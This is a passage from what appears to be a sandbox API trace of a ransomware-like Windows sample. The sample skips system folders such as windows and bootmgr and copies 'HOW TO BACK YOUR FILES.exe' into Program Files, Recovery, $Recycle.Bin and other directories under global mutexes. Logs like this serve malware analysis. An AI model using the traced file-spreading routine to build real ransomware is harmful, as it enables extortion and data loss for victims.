lpString1=0x241e84e, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0034.127] SetFileAttributesW (lpFileName="C:\\Program Files", dwFileAttributes=0x10) returned 1 [0034.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509020 [0034.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x22) returned 0x518078 [0034.127] lstrcatW (in: lpString1="Program Files", lpString2="\\" | out: lpString1="Program Files\\") returned="Program Files\\" [0034.127] lstrcatW (in: lpString1="Program Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Program Files\\HOW TO BACK YOUR FILES.exe") returned="Program Files\\HOW TO BACK YOUR FILES.exe" [0034.127] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.129] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="windows") returned -1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="bootmgr") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="temp") returned -1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="pagefile.sys") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="boot") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="ids.txt") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="ntuser.dat") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="perflogs") returned 1 [0034.130] lstrcmpiW (lpString1="Program Files (x86)", lpString2="MSBuild") returned 1 [0034.130] lstrlenW (lpString="Program Files (x86)") returned 19 [0034.130] lstrcpyW (in: lpString1=0x241e84e, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0034.130] SetFileAttributesW (lpFileName="C:\\Program Files (x86)", dwFileAttributes=0x10) returned 1 [0034.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509038 [0034.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x2e) returned 0x51a7c0 [0034.130] lstrcatW (in: lpString1="Program Files (x86)", lpString2="\\" | out: lpString1="Program Files (x86)\\") returned="Program Files (x86)\\" [0034.130] lstrcatW (in: lpString1="Program Files (x86)\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Program Files (x86)\\HOW TO BACK YOUR FILES.exe") returned="Program Files (x86)\\HOW TO BACK YOUR FILES.exe" [0034.130] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.133] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2=".") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="..") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="windows") returned -1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="bootmgr") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="temp") returned -1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="pagefile.sys") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="boot") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="ids.txt") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="ntuser.dat") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="perflogs") returned 1 [0034.133] lstrcmpiW (lpString1="ProgramData", lpString2="MSBuild") returned 1 [0034.133] lstrlenW (lpString="ProgramData") returned 11 [0034.133] lstrcpyW (in: lpString1=0x241e84e, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0034.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509050 [0034.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1e) returned 0x509908 [0034.133] lstrcatW (in: lpString1="ProgramData", lpString2="\\" | out: lpString1="ProgramData\\") returned="ProgramData\\" [0034.133] lstrcatW (in: lpString1="ProgramData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ProgramData\\HOW TO BACK YOUR FILES.exe") returned="ProgramData\\HOW TO BACK YOUR FILES.exe" [0034.133] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.133] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2=".") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="..") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="windows") returned -1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="bootmgr") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="temp") returned -1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="pagefile.sys") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="boot") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="ids.txt") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="ntuser.dat") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="perflogs") returned 1 [0034.134] lstrcmpiW (lpString1="Recovery", lpString2="MSBuild") returned 1 [0034.134] lstrlenW (lpString="Recovery") returned 8 [0034.134] lstrcpyW (in: lpString1=0x241e84e, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0034.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509068 [0034.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x510b10 [0034.134] lstrcatW (in: lpString1="Recovery", lpString2="\\" | out: lpString1="Recovery\\") returned="Recovery\\" [0034.134] lstrcatW (in: lpString1="Recovery\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recovery\\HOW TO BACK YOUR FILES.exe") returned="Recovery\\HOW TO BACK YOUR FILES.exe" [0034.134] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Recovery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\recovery\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.140] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2=".") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="..") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="windows") returned -1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="bootmgr") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="temp") returned -1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="pagefile.sys") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="boot") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="ids.txt") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="ntuser.dat") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="perflogs") returned 1 [0034.140] lstrcmpiW (lpString1="System Volume Information", lpString2="MSBuild") returned 1 [0034.141] lstrlenW (lpString="System Volume Information") returned 25 [0034.141] lstrcpyW (in: lpString1=0x241e84e, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0034.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c230 [0034.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f448 [0034.141] lstrcatW (in: lpString1="System Volume Information", lpString2="\\" | out: lpString1="System Volume Information\\") returned="System Volume Information\\" [0034.141] lstrcatW (in: lpString1="System Volume Information\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="System Volume Information\\HOW TO BACK YOUR FILES.exe") returned="System Volume Information\\HOW TO BACK YOUR FILES.exe" [0034.141] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.141] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0034.141] lstrcmpiW (lpString1="Users", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.141] lstrcmpiW (lpString1="Users", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2=".") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="..") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="windows") returned -1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="bootmgr") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="temp") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="pagefile.sys") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="boot") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="ids.txt") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="ntuser.dat") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="perflogs") returned 1 [0034.142] lstrcmpiW (lpString1="Users", lpString2="MSBuild") returned 1 [0034.142] lstrlenW (lpString="Users") returned 5 [0034.142] lstrcpyW (in: lpString1=0x241e84e, lpString2="Users" | out: lpString1="Users") returned="Users" [0034.142] SetFileAttributesW (lpFileName="C:\\Users", dwFileAttributes=0x10) returned 1 [0034.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c248 [0034.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12) returned 0x510b30 [0034.142] lstrcatW (in: lpString1="Users", lpString2="\\" | out: lpString1="Users\\") returned="Users\\" [0034.142] lstrcatW (in: lpString1="Users\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Users\\HOW TO BACK YOUR FILES.exe") returned="Users\\HOW TO BACK YOUR FILES.exe" [0034.142] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.143] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0034.143] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.143] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.143] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1 [0034.143] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1 [0034.143] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0 [0034.143] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0034.143] FindClose (in: hFindFile=0x50aa40 | out: hFindFile=0x50aa40) returned 1 [0034.143] ReleaseMutex (hMutex=0xec) returned 1 [0034.143] CloseHandle (hObject=0xec) returned 1 [0034.143] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0034.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509818 | out: hHeap=0x4f0000) returned 1 [0034.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508f00 | out: hHeap=0x4f0000) returned 1 [0034.143] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0034.143] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1596051E82A437D4BA5CD57FE384BEDF") returned 0xec [0034.143] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.143] lstrcatW (in: lpString1="", lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0034.143] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.143] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\$Recycle.Bin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\$recycle.bin\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.144] CreateFileW (lpFileName="C:\\$Recycle.Bin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\$recycle.bin\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0034.144] GetLastError () returned 0x0 [0034.144] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0034.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x525fa8 [0034.144] ReadFile (in: hFile=0xf4, lpBuffer=0x525fa8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x525fa8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0034.144] CloseHandle (hObject=0xf4) returned 1 [0034.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525fa8 | out: hHeap=0x4f0000) returned 1 [0034.144] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.144] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc22ab40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc22ab40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x50aa40 [0034.144] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.144] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.144] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.144] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc22ab40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc22ab40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.144] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.144] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.144] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.144] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.144] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc22ab40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc22ab40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.144] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.144] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0034.144] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.144] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2=".") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="..") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="windows") returned -1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="bootmgr") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="temp") returned -1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="pagefile.sys") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="boot") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="ids.txt") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="ntuser.dat") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="perflogs") returned 1 [0034.145] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="MSBuild") returned 1 [0034.145] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0034.145] lstrcpyW (in: lpString1=0x241e868, lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000") returned="S-1-5-21-3388679973-3930757225-3770151564-1000" [0034.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508f00 [0034.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518920 [0034.145] lstrcatW (in: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="\\" | out: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0034.145] lstrcatW (in: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO BACK YOUR FILES.exe") returned="S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO BACK YOUR FILES.exe" [0034.145] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.147] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0034.147] FindClose (in: hFindFile=0x50aa40 | out: hFindFile=0x50aa40) returned 1 [0034.147] ReleaseMutex (hMutex=0xec) returned 1 [0034.147] CloseHandle (hObject=0xec) returned 1 [0034.147] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0034.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509840 | out: hHeap=0x4f0000) returned 1 [0034.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508fd8 | out: hHeap=0x4f0000) returned 1 [0034.148] lstrlenW (lpString="C:\\Config.Msi") returned 13 [0034.148] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BE046316E02458BDCE258EB40D6F8FDF") returned 0xec [0034.148] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.148] lstrcatW (in: lpString1="", lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0034.148] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.148] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Config.Msi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\config.msi\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.148] CreateFileW (lpFileName="C:\\Config.Msi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\config.msi\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0034.148] GetLastError () returned 0x0 [0034.148] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0034.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x525fa8 [0034.148] ReadFile (in: hFile=0xf4, lpBuffer=0x525fa8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x525fa8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0034.148] CloseHandle (hObject=0xf4) returned 1 [0034.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525fa8 | out: hHeap=0x4f0000) returned 1 [0034.148] lstrcatW (in: 